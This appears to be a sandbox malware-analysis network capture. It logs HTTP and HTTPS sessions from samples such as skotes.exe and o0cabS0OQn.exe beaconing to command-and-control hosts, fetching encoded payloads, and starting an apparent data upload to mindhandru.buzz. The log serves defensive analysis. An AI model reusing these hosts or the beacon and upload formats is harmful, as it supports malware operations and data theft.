Dec 27, 2024 15:05:19.140022039 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:05:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49852	185.215.113.43	80	2164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:05:20.777194977 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 43 37 38 42 34 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22C78B45182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 15:05:22.244468927 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:05:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49856	185.215.113.43	80	2164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:05:23.997612953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 15:05:25.333187103 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:05:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49863	185.215.113.43	80	2164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:05:26.964392900 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 43 37 38 42 34 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22C78B45182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 15:05:28.407337904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:05:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49867	185.215.113.43	80	2164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:05:30.154695988 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 15:05:31.501276016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:05:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49874	185.215.113.43	80	2164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:05:33.136176109 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 43 37 38 42 34 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22C78B45182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 15:05:34.779071093 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:05:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49878	185.215.113.43	80	2164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:05:36.527535915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 15:05:37.857748032 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:05:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49884	185.215.113.43	80	2164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:05:39.482228994 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 43 37 38 42 34 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22C78B45182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 15:05:40.920664072 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:05:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.165.185	443	6836	C:\Users\user\Desktop\o0cabS0OQn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:03:39 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 14:03:39 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 14:03:40 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:03:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=veguo52g4jo0egdh2ejblrh3mb; expires=Tue, 22 Apr 2025 07:50:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1ne%2F08CqamYO1zX9MiMj1Zi6Vy5%2FtzNh%2F3WzvN7nhYAM9CYdP69O%2BrY6IHZB8VJm2BOwNGExIcIbC%2FSCv7E44qz7hkyG0bvBvzN%2FGW1BZLoenMPNC%2FDfOhv4E8kZiUmR7o8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89daf40c6d4264-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1721&min_rtt=1708&rtt_var=667&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1607044&cwnd=223&unsent_bytes=0&cid=919aa0bc5b97a80b&ts=1029&x=0"
2024-12-27 14:03:40 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 14:03:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.165.185	443	6836	C:\Users\user\Desktop\o0cabS0OQn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:03:41 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: mindhandru.buzz
2024-12-27 14:03:41 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-27 14:03:44 UTC	1120	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:03:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=66gp44d1ucpctgvl5fbth0lk67; expires=Tue, 22 Apr 2025 07:50:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UVXhaneysEac2xF8h%2FfT4wreB4ZBUgxcxYhDgJIAKkj9P41VvTY1lScjVI0QS35IHHyT9UVAvVpfsC60gK9Hr30cWVKoZaNzwvWoEEznlNkxpO0lAWAOAsOEIjUsKqZQLKU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89db01293ede92-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1625&min_rtt=1625&rtt_var=611&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=946&delivery_rate=1790312&cwnd=245&unsent_bytes=0&cid=166e42a65b4e4692&ts=2799&x=0"
2024-12-27 14:03:44 UTC	249	IN	Data Raw: 63 34 32 0d 0a 4c 4b 34 39 63 43 2f 2b 47 6c 5a 53 47 37 43 79 6a 72 6a 75 4b 6b 4b 50 76 56 61 58 63 61 35 7a 47 42 77 76 77 4c 2f 46 32 66 78 58 6a 45 74 53 46 63 6f 32 64 43 46 2b 6b 6f 6a 36 79 70 74 50 62 71 33 63 4d 72 56 4c 79 42 4a 30 62 30 72 73 6e 62 4f 30 33 68 62 49 58 42 78 63 6d 7a 5a 30 4e 32 4f 53 69 4e 58 44 7a 45 38 73 72 59 64 30 38 68 76 4d 45 6e 52 2b 54 71 76 51 74 62 57 66 52 4d 4a 61 47 45 71 64 66 6a 63 2b 64 74 58 58 36 39 6d 45 52 43 76 69 31 54 75 31 58 59 77 57 59 6a 34 56 34 76 4b 67 72 5a 31 68 7a 30 34 62 44 59 4d 32 4c 58 42 2b 33 70 43 30 6d 6f 39 50 49 4f 50 62 4d 76 77 5a 78 68 74 38 66 30 75 71 7a 36 79 2f 6c 45 54 4d 57 52 6c 41 6c 47 6f 36 4e 48 48 65 30 65 48 5a 7a 41 5a 67 36 73 64 30 72 56 4f 66 Data Ascii: c42LK49cC/+GlZSG7CyjrjuKkKPvVaXca5zGBwvwL/F2fxXjEtSFco2dCF+koj6yptPbq3cMrVLyBJ0b0rsnbO03hbIXBxcmzZ0N2OSiNXDzE8srYd08hvMEnR+TqvQtbWfRMJaGEqdfjc+dtXX69mERCvi1Tu1XYwWYj4V4vKgrZ1hz04bDYM2LXB+3pC0mo9PIOPbMvwZxht8f0uqz6y/lETMWRlAlGo6NHHe0eHZzAZg6sd0rVOf
2024-12-27 14:03:44 UTC	1369	IN	Data Raw: 49 33 6c 76 58 4c 66 51 74 37 33 65 55 59 4a 47 55 6b 71 51 4f 47 78 77 63 64 37 65 36 64 6d 44 54 79 48 74 7a 54 76 31 45 4d 51 5a 66 6e 52 43 72 64 4b 70 73 5a 6c 47 78 56 67 64 53 70 52 2b 4f 7a 4d 35 6e 4a 44 72 77 73 77 51 59 4d 33 50 4e 2f 59 48 77 51 41 36 59 51 4f 37 6e 61 43 33 33 68 61 4d 57 52 78 4d 6b 58 67 6d 4f 48 4c 5a 31 66 37 52 68 55 55 74 37 64 49 2b 2b 68 44 4d 46 6e 42 30 51 71 6a 5a 71 72 61 59 54 73 77 66 58 41 32 62 59 48 52 6f 4f 66 48 56 2f 4e 32 41 58 6d 4c 58 6e 79 75 37 43 6f 77 57 64 6a 34 56 34 74 57 69 75 4a 31 46 77 31 77 61 52 6f 35 34 4a 6a 5a 30 31 38 4c 71 33 34 4a 43 49 2f 2f 56 4f 76 4d 51 78 52 70 7a 65 30 71 6d 6e 65 6e 37 6d 56 61 4d 42 31 4a 73 6b 58 4d 34 4f 6d 37 53 6b 50 4f 55 6c 51 67 6e 34 5a 39 73 74 52 66 Data Ascii: I3lvXLfQt73eUYJGUkqQOGxwcd7e6dmDTyHtzTv1EMQZfnRCrdKpsZlGxVgdSpR+OzM5nJDrwswQYM3PN/YHwQA6YQO7naC33haMWRxMkXgmOHLZ1f7RhUUt7dI++hDMFnB0QqjZqraYTswfXA2bYHRoOfHV/N2AXmLXnyu7CowWdj4V4tWiuJ1Fw1waRo54JjZ018Lq34JCI//VOvMQxRpze0qmnen7mVaMB1JskXM4Om7SkPOUlQgn4Z9stRf
2024-12-27 14:03:44 UTC	1369	IN	Data Raw: 41 32 6c 78 65 66 6a 33 6d 54 50 53 78 46 48 33 6b 30 33 50 6e 66 56 78 71 7a 46 77 6c 46 67 36 74 4e 30 72 56 50 42 45 48 4a 34 58 36 33 51 70 4c 57 51 51 63 6c 51 47 6b 32 63 64 54 45 30 63 74 6e 54 34 64 36 65 51 69 44 6c 32 6a 58 2f 47 59 78 66 4f 6e 6c 56 34 6f 58 6e 69 6f 6c 46 6a 6d 6f 52 51 35 4a 2f 49 6e 42 6d 6e 4d 6d 73 33 59 41 49 65 4b 33 53 50 50 41 57 77 78 42 77 63 45 69 6f 30 61 2b 31 6e 56 7a 44 57 78 4a 42 6c 48 49 35 50 6e 33 61 32 65 66 52 69 6b 67 68 35 35 39 36 74 52 54 55 55 53 49 2b 65 61 58 52 71 72 54 63 65 38 39 52 48 45 71 4b 4f 43 74 2b 59 4a 4c 58 34 4a 72 55 43 43 7a 6b 33 7a 2f 2f 46 38 77 57 64 33 74 4f 70 64 36 71 76 4a 52 41 79 31 73 65 52 4a 46 2b 4e 44 64 39 31 38 4c 70 30 34 42 45 59 4b 4f 66 4d 2b 31 54 6c 46 46 56 Data Ascii: A2lxefj3mTPSxFH3k03PnfVxqzFwlFg6tN0rVPBEHJ4X63QpLWQQclQGk2cdTE0ctnT4d6eQiDl2jX/GYxfOnlV4oXniolFjmoRQ5J/InBmnMms3YAIeK3SPPAWwxBwcEio0a+1nVzDWxJBlHI5Pn3a2efRikgh5596tRTUUSI+eaXRqrTce89RHEqKOCt+YJLX4JrUCCzk3z//F8wWd3tOpd6qvJRAy1seRJF+NDd918Lp04BEYKOfM+1TlFFV
2024-12-27 14:03:44 UTC	158	IN	Data Raw: 58 6e 73 70 64 63 77 6c 45 62 51 4a 70 77 4d 7a 35 30 32 64 62 6e 33 59 74 4f 4c 65 58 53 4d 66 59 53 79 42 74 6f 66 55 61 6f 30 4b 33 37 30 41 37 4c 52 31 49 56 33 46 38 34 47 57 6e 4a 77 76 71 61 6b 77 59 35 72 64 67 34 74 55 75 4d 45 6e 56 33 51 71 72 56 71 4c 53 61 51 4d 70 5a 48 30 69 54 63 69 59 34 64 39 2f 62 34 39 47 65 53 43 33 70 30 7a 44 39 47 4d 5a 52 4e 44 35 4b 75 70 33 2f 2b 36 74 44 77 31 38 52 57 39 78 6e 65 69 6b 35 31 64 79 73 67 73 78 45 4c 75 0d 0a Data Ascii: XnspdcwlEbQJpwMz502dbn3YtOLeXSMfYSyBtofUao0K370A7LR1IV3F84GWnJwvqakwY5rdg4tUuMEnV3QqrVqLSaQMpZH0iTciY4d9/b49GeSC3p0zD9GMZRND5Kup3/+6tDw18RW9xneik51dysgsxELu
2024-12-27 14:03:44 UTC	1369	IN	Data Raw: 33 63 64 61 0d 0a 33 51 4f 50 6b 59 78 42 42 32 63 45 71 6e 31 4b 2b 7a 6a 45 2f 49 56 78 4e 44 6b 33 6b 77 4e 58 7a 57 31 2b 6a 63 67 77 68 75 72 64 67 73 74 55 75 4d 50 6c 31 4c 44 34 50 6e 35 36 54 51 56 34 78 59 48 67 33 45 4f 44 67 7a 64 64 72 66 36 74 4f 41 51 69 6e 6d 30 7a 2f 78 48 38 55 55 66 48 39 49 70 39 79 6a 74 35 52 49 7a 31 77 64 51 70 4e 77 64 48 34 35 31 63 69 73 67 73 78 74 4e 2b 62 52 4d 72 55 4d 67 67 67 36 65 55 48 69 68 65 65 33 6c 30 6a 4b 57 68 35 4d 6d 6e 41 78 4f 48 33 54 31 75 72 5a 67 30 77 6c 37 4e 41 77 2b 52 33 47 45 48 74 79 52 71 33 57 6f 76 76 51 44 73 74 48 55 68 58 63 53 54 63 6d 62 73 4c 63 72 4d 58 43 55 57 44 71 30 33 53 74 55 38 30 44 63 48 52 44 70 39 4b 69 75 4a 46 4a 77 56 6b 65 52 35 56 77 4d 6a 39 77 77 4e 50 Data Ascii: 3cda3QOPkYxBB2cEqn1K+zjE/IVxNDk3kwNXzW1+jcgwhurdgstUuMPl1LD4Pn56TQV4xYHg3EODgzddrf6tOAQinm0z/xH8UUfH9Ip9yjt5RIz1wdQpNwdH451cisgsxtN+bRMrUMggg6eUHihee3l0jKWh5MmnAxOH3T1urZg0wl7NAw+R3GEHtyRq3WovvQDstHUhXcSTcmbsLcrMXCUWDq03StU80DcHRDp9KiuJFJwVkeR5VwMj9wwNP
2024-12-27 14:03:44 UTC	1369	IN	Data Raw: 43 54 67 33 79 62 36 46 4d 73 59 63 57 78 48 70 64 71 73 73 35 56 42 79 6b 30 65 51 34 35 39 4a 69 49 35 6e 4a 44 72 77 73 77 51 59 4e 76 59 4a 4f 55 51 6a 69 42 73 66 56 75 70 30 4b 76 37 67 51 44 56 48 78 56 42 33 43 42 30 4e 6e 62 62 30 2b 50 62 68 55 51 74 36 4e 59 78 39 42 58 49 47 33 42 2b 53 36 54 63 6f 72 47 64 54 38 5a 57 46 55 57 62 65 79 5a 77 4e 35 4c 58 39 4a 72 55 43 41 6e 71 7a 54 72 6c 55 39 4e 66 59 7a 35 4b 72 70 33 2f 2b 35 70 45 77 31 73 56 51 5a 70 39 4d 6a 31 34 33 64 48 73 31 59 68 44 4b 65 76 65 4f 66 41 65 79 41 4e 77 64 55 4b 75 31 4b 75 32 33 67 43 4d 57 41 6f 4e 78 44 67 46 50 58 66 63 31 2f 71 61 6b 77 59 35 72 64 67 34 74 55 75 4d 45 48 5a 78 54 71 33 65 70 4c 71 55 58 4e 35 54 47 30 57 5a 64 44 38 2b 66 38 44 57 34 39 4f 50 Data Ascii: CTg3yb6FMsYcWxHpdqss5VByk0eQ459JiI5nJDrwswQYNvYJOUQjiBsfVup0Kv7gQDVHxVB3CB0Nnbb0+PbhUQt6NYx9BXIG3B+S6TcorGdT8ZWFUWbeyZwN5LX9JrUCAnqzTrlU9NfYz5Krp3/+5pEw1sVQZp9Mj143dHs1YhDKeveOfAeyANwdUKu1Ku23gCMWAoNxDgFPXfc1/qakwY5rdg4tUuMEHZxTq3epLqUXN5TG0WZdD8+f8DW49OP
2024-12-27 14:03:44 UTC	1369	IN	Data Raw: 39 30 75 31 50 64 46 6d 73 2b 46 62 54 4e 73 4c 79 42 41 4e 55 66 46 55 48 63 49 48 51 32 63 4e 54 58 36 74 53 65 54 53 62 69 30 44 33 38 46 38 51 53 65 6e 70 4a 70 64 69 6b 74 35 56 4a 7a 31 41 57 52 4a 4a 78 4f 33 41 33 6b 74 66 30 6d 74 51 49 41 66 62 63 4f 50 68 54 30 31 39 6a 50 6b 71 75 6e 66 2f 37 6b 6b 44 4a 58 78 68 4c 6d 48 30 79 4f 6e 7a 53 32 2b 2f 56 69 45 34 6b 34 74 38 2f 2f 42 4c 4b 46 48 42 31 53 36 2f 65 6f 62 33 65 41 49 78 59 43 67 33 45 4f 42 51 72 64 4e 37 58 72 4d 58 43 55 57 44 71 30 33 53 74 55 38 63 64 66 6e 6c 4e 72 39 36 76 76 70 70 45 79 56 38 61 58 35 52 34 4d 79 4a 72 30 74 6e 70 31 6f 39 49 4a 4f 76 57 4d 76 59 58 6a 46 38 36 65 56 58 69 68 65 65 57 6b 6b 6e 6c 57 41 6b 4e 67 7a 59 74 63 48 37 65 6b 4c 53 61 6a 55 4d 71 34 Data Ascii: 90u1PdFms+FbTNsLyBANUfFUHcIHQ2cNTX6tSeTSbi0D38F8QSenpJpdikt5VJz1AWRJJxO3A3ktf0mtQIAfbcOPhT019jPkqunf/7kkDJXxhLmH0yOnzS2+/ViE4k4t8//BLKFHB1S6/eob3eAIxYCg3EOBQrdN7XrMXCUWDq03StU8cdfnlNr96vvppEyV8aX5R4MyJr0tnp1o9IJOvWMvYXjF86eVXiheeWkknlWAkNgzYtcH7ekLSajUMq4
2024-12-27 14:03:44 UTC	1369	IN	Data Raw: 64 6a 42 41 36 4a 6e 53 37 6e 62 48 37 78 68 79 43 48 77 41 4e 78 44 68 7a 4d 32 76 41 31 75 2f 4d 6a 77 38 65 30 2f 67 69 2f 78 54 63 46 6d 31 78 44 65 79 64 71 50 76 47 64 34 78 57 46 56 61 4e 62 6a 6b 67 66 70 4c 76 6f 70 71 55 43 48 69 74 36 6a 66 37 48 63 73 48 61 7a 4e 71 74 4e 65 67 71 35 6c 5a 77 78 39 63 44 5a 6f 34 62 47 4d 33 6b 74 54 39 6d 74 51 59 63 72 61 4b 5a 36 4a 44 6e 67 34 30 5a 77 32 30 6e 66 2f 70 30 41 37 65 48 30 6f 4e 32 33 73 6d 49 6e 2f 52 78 75 2b 64 73 6e 59 48 39 39 49 79 34 67 4c 79 4c 33 31 6b 51 4b 54 4b 74 76 65 4c 54 63 4a 52 46 56 76 63 4e 6e 51 2f 4f 59 72 70 72 4a 4c 4d 64 32 36 74 78 33 53 74 55 2f 6b 53 64 48 42 4b 74 4d 7a 71 6e 49 52 44 79 6b 67 44 44 64 49 34 4d 6e 41 68 67 70 36 73 33 70 30 49 65 4c 32 4e 62 36 Data Ascii: djBA6JnS7nbH7xhyCHwANxDhzM2vA1u/Mjw8e0/gi/xTcFm1xDeydqPvGd4xWFVaNbjkgfpLvopqUCHit6jf7HcsHazNqtNegq5lZwx9cDZo4bGM3ktT9mtQYcraKZ6JDng40Zw20nf/p0A7eH0oN23smIn/Rxu+dsnYH99Iy4gLyL31kQKTKtveLTcJRFVvcNnQ/OYrprJLMd26tx3StU/kSdHBKtMzqnIRDykgDDdI4MnAhgp6s3p0IeL2Nb6
2024-12-27 14:03:44 UTC	1369	IN	Data Raw: 61 6d 6c 43 6e 4f 4f 79 75 4a 42 41 79 30 6b 44 44 64 49 34 4f 33 41 68 36 35 43 6b 6d 72 4d 47 59 50 57 66 62 4c 55 6d 7a 78 39 30 65 56 75 7a 6b 49 43 31 6d 55 2f 61 54 77 56 43 33 44 5a 30 4e 6a 6d 4b 67 71 4b 61 69 46 6c 67 74 59 39 6d 72 6b 61 66 52 69 6f 73 55 75 7a 45 35 36 33 65 46 70 34 52 55 6c 2f 63 49 48 52 33 65 73 44 43 36 74 6d 61 53 32 66 54 34 52 50 37 46 4d 30 48 61 6d 6c 43 37 66 4f 52 6d 71 42 77 32 56 77 63 51 35 74 75 4a 58 41 33 6b 74 2b 73 67 72 55 49 61 4b 33 67 65 72 55 4c 6a 45 6b 36 53 30 36 73 30 36 43 74 6a 77 50 72 55 52 56 4d 69 6d 67 6a 50 7a 62 38 35 73 32 61 77 67 67 6d 72 59 64 6d 75 31 50 49 41 44 6f 6d 48 66 43 47 38 75 6a 4a 48 70 35 41 58 46 54 63 62 6e 52 6f 4b 35 79 51 2f 70 72 55 43 47 66 75 7a 53 62 7a 45 4e 6f Data Ascii: amlCnOOyuJBAy0kDDdI4O3Ah65CkmrMGYPWfbLUmzx90eVuzkIC1mU/aTwVC3DZ0NjmKgqKaiFlgtY9mrkafRiosUuzE563eFp4RUl/cIHR3esDC6tmaS2fT4RP7FM0HamlC7fORmqBw2VwcQ5tuJXA3kt+sgrUIaK3gerULjEk6S06s06CtjwPrURVMimgjPzb85s2awggmrYdmu1PIADomHfCG8ujJHp5AXFTcbnRoK5yQ/prUCGfuzSbzENo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.165.185	443	6836	C:\Users\user\Desktop\o0cabS0OQn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:03:46 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TKJF5EY6TB8I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18127 Host: mindhandru.buzz
